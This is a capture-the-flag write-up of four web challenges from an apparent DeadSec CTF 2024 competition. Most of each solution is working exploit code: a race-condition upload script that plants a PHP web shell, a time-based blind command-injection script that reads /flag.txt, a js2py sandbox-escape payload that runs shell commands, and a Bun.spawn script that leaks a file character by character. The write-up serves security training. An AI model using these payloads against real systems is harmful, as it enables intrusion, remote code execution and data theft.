Web Exploitation

Challenge
Link

ezstart (100 pts)

bing_revenge (100 pts)

Retro-calculator (220 pts)

Buntime (400 pts)

ezstart (100 pts)

Description

-

Solution

Given source code below

<?php

session_start();

function is_malware($file_path)
{
    $content = file_get_contents($file_path);
    
    if (strpos($content, '<?php') !== false) {
        return true; 
    }
    
    return false;
}

function is_image($path, $ext)
{
    // Define allowed extensions
    $allowed_extensions = ['png', 'jpg', 'jpeg', 'gif'];
    
    // Check if the extension is allowed
    if (!in_array(strtolower($ext), $allowed_extensions)) {
        return false;
    }
    
    // Check if the file is a valid image
    $image_info = getimagesize($path);
    if ($image_info === false) {
        return false;
    }
    
    return true;
}

if (isset($_FILES) && !empty($_FILES)) {

    $uploadpath = "tmp/";
    
    $ext = pathinfo($_FILES["files"]["name"], PATHINFO_EXTENSION);
    $filename = basename($_FILES["files"]["name"], "." . $ext);

    $timestamp = time();
    $new_name = $filename . '_' . $timestamp . '.' . $ext;
    $upload_dir = $uploadpath . $new_name;

    if ($_FILES['files']['size'] <= 10485760) {
        move_uploaded_file($_FILES["files"]["tmp_name"], $upload_dir);
    } else {
        echo $error2 = "File size exceeds 10MB";
    }

    if (is_image($upload_dir, $ext) && !is_malware($upload_dir)){
        $_SESSION['context'] = "Upload successful";
    } else {
        $_SESSION['context'] = "File is not a valid image or is potentially malicious";
    }
    
    echo $upload_dir;
    unlink($upload_dir);
}

?>

From code above we can see that there is upload feature and we can upload anything to the server. The extension validation and is_malware validation doesnt affect anything in the upload process because it is only change the value of session context. The problem is our file will be deleted directly once we've uploaded it. But in this case we can trigger race condition by sending many request for upload and access the php at the same time because we know the filename (timestamp known). The file that we will access will put another backdoor that will not be deleted by the upload.php, so it will act like a dropper. The backdoor dropped will be base code to access custom function and parameter. Below is the code i used to trigger race condition by utilizing threading

import requests
from threading import Thread
import time

base_url = "https://b515a0c0722574e498521800.deadsec.quest/"

def brute():
    x = 1
    while True:
        r = requests.get(f"{base_url}/tmp/tmp_{int(time.time())}.php")
        if r.status_code != 404:
            print(f'ACCESSED! -> {str(r.status_code)}')
        else:
            print(f'[{str(x)}] attempt -> {str(r.status_code)}')
        # time tolerance
        r = requests.get(f"{base_url}/tmp/tmp_{int(time.time()-1)}.php")
        if r.status_code != 404:
            print(f'ACCESSED! -> {str(r.status_code)}')
        else:
            print(f'[{str(x)}] attempt -> {str(r.status_code)}')
        # time tolerance
        r = requests.get(f"{base_url}/tmp/tmp_{int(time.time()+1)}.php")
        if r.status_code != 404:
            print(f'ACCESSED! -> {str(r.status_code)}')
        else:
            print(f'[{str(x)}] attempt -> {str(r.status_code)}')
        x += 1


def upload():
    while True:
        resp = requests.post(
            f"{base_url}/upload.php",
            files={"files": ("tmp.php", b'<?php file_put_contents("lol.php", "<?=\$_GET[x](\$_GET[y]);?>");')},
        )

Thread(target=upload).start()
Thread(target=upload).start()
Thread(target=upload).start()
Thread(target=upload).start()
Thread(target=upload).start()
Thread(target=brute).start()
Thread(target=brute).start()
Thread(target=brute).start()

We can see that there is 200 OK response, lets take a look on /tmp/ directory.

Now there is lol.php, lets call the system function using lol.php.

Flag: DEAD{l0l_i_forgot_rAce_conD1tionnnnn}

bing_revenge (100 pts)

Description

-

Solution

Given source code below

#!/usr/bin/env python3
import os
from flask import Flask, request, render_template

app = Flask(__name__)


@app.route('/')
def index():
    return render_template('index.html')

@app.route('/flag', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'{host}'
        if not cmd:
             return render_template('ping_result.html', data='Hello')
        try:
            output = os.system(f'ping -c 4 {cmd}')
            return render_template('ping_result.html', data="DeadSecCTF2024")
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'error when executing command')
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Command timed out')

    return render_template('ping.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

Our input will be passed to os.system function so we can do command injection on host parameter. Looking at dockerfile we know that the container is python:3.11-slim-buster and it use /bin/sh as the shell. Because we cannot see the output we can utilize time based blind command injection to leak the flag. In this case we use payload below

if [ "$(cat /flag.txt | cut -c {})" = "{}" ]; then sleep 5; fi
  • The first curly brace is the column number for the data that we want to leak

    • For example if flag.txt is DEAD, so cut -c 1 will be D

  • The second curly brace is the value that we want to validate, for example is D

  • if the first column value and validated value is same the sleep will be triggered

From my connection the sleep will be more than 7 is sleep 5 executed , so i use the different time is 7 to validate it. Below is my script for approach above

import requests
import time
import string
import tqdm

burp0_url = "https://37db8cd4ca2140c744c2b8bb.deadsec.quest/flag"
burp0_headers = {"Cache-Control": "max-age=0", "Sec-Ch-Ua": "\"Not/A)Brand\";v=\"8\", \"Chromium\";v=\"126\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"macOS\"", "Accept-Language": "en-US", "Upgrade-Insecure-Requests": "1", "Origin": "https://37db8cd4ca2140c744c2b8bb.deadsec.quest", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "https://37db8cd4ca2140c744c2b8bb.deadsec.quest/flag", "Accept-Encoding": "gzip, deflate, br", "Priority": "u=0, i"}
payload = '127.0.0.1; if [ "$(cat /flag.txt | cut -c {})" = "{}" ]; then sleep 5; fi'
burp0_data = {"host": ""}
flag = "DEAD{f93e7140-0d74-4130-9114-783f2c"
list_char = "}-" + string.printable[:-6]

while "}" not in flag:
	for i in tqdm.tqdm(list_char):
		tmp_payload = payload.format(len(flag) + 1, i)
		burp0_data["host"] = tmp_payload
		start = time.time()
		resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
		end = time.time()
		if end-start > 7:
			print(end-start)
			flag += i
			break
	print(flag)

Flag: DEAD{f93e7140-0d74-4130-9114-783f2cd337e3}

Retro-calculator (220 pts)

Description

This is my first calculator ever, and it might have a 0day!!!

Solution

There is no source code for this challenge. But we can see that it seems like a calculator application. Lets try with input 1+1

My first assumption is the code will be executed on eval like function, lets try to trigger error on it.

From the error response we know that our input processed by javascript eval. Lets try to gather information from the server.

({}).constructor.constructor('return Object.getOwnPropertyNames(this)')()

There are some attributes that weird, including the format dict_keys. Try to search some information from the response such as PyJsEvalResult

Looking at exploitation for js2py i found this reference

Lets try the payload on the repository

hacked = Object.getOwnPropertyNames({});bymarve = hacked.__getattribute__;n11 = bymarve(\"__getattribute__\");obj = n11(\"__class__\").__base__;getattr = obj.__getattribute__;let item=obj.__subclasses__()[351];item(\"ls -al /\", -1, null, -1, -1, -1, null, null, true).communicate()
hacked = Object.getOwnPropertyNames({});bymarve = hacked.__getattribute__;n11 = bymarve(\"__getattribute__\");obj = n11(\"__class__\").__base__;getattr = obj.__getattribute__;let item=obj.__subclasses__()[351];item(\"cat /flag.txt\", -1, null, -1, -1, -1, null, null, true).communicate()

Flag: DEAD{Js_2_Py_3sc4p3_wr3ck3d_my_b0x}

Buntime (400 pts)

Description

I’ve created a super secure sinkless buntime, is it really secure?

Solution

There is no source code given, the preview of the website looks like a interpreter for Bun. There are multiples WAF in the website, below are the WAF that i've found

  • Input WAF

    • Limited by length (maximum 50)

  • Output WAF

    • Cannot directly show output for most cases

  • Specific Function WAF

    • Most of Sync function are prohibited

Currently eval on Bun cannot execute await, so we need to find another way to do RCE. During the competition we can trigger the RCE using Bun.spawn but we cannot read any file. Although we can bypass the output WAF using throw exception but we still cannot pass the RCE from spawn to read from through exception. The fastest way to get flag that we've found is using approach below

  • Create shell script for program below

    • Read flag per character and write it to /tmp/

  • Execute the shell script and remove the shell script

  • Trigger directory listing and get the character shown in directory

Below is my solver for approach above

import requests
import time
import tqdm

flag = "DEAD{"
code = """#!/bin/sh

touch /tmp/$(cat /flag.txt|cut -c {})"""
diff = 4
url = 'https://3bc8e4d81741584134abdb88.deadsec.quest/run'
fmt = 'Bun.spawn(["sh","-c","printf \'{}\'>>/tmp/a"])'

while "}" not in flag:    
    arr = []
    arr.append('Bun.spawn(["rm", "/tmp/a"])')
    arr.append('Bun.spawn(["touch", "/tmp/a"])')
    arr.append('Bun.spawn(["chmod", "+x", "/tmp/a"])')
    tmp_code = code.format(len(flag)+1)
    
    for i in range(0, len(tmp_code), diff):
        payload = tmp_code[i:i+diff].replace('\n', r'\n')
        payload = fmt.format(payload)
        arr.append(f'{payload}')

    arr.append('Bun.spawn(["/tmp/a"])')
    arr.append('Bun.spawn(["rm", "/tmp/a"])')

    for tmp in tqdm.tqdm(arr):
        success = False
        requests.post(url, json={"code": tmp})

    leaked = "[...(new Bun.Glob('*').scanSync('/tmp/'))]"
    r = requests.post(url, json={"code": leaked})
    flag += r.json()["result"][0]
    print(flag)

    rmv = f'Bun.spawn(["rm", "/tmp/{flag[-1]}"])'
    r = requests.post(url, json={"code": rmv})
Flag: DEAD{BunT1m3_Fun_T1m3_Y0u_C4n_4lw4y$Run_4$ync_1n$1d3_$ync}

Last updated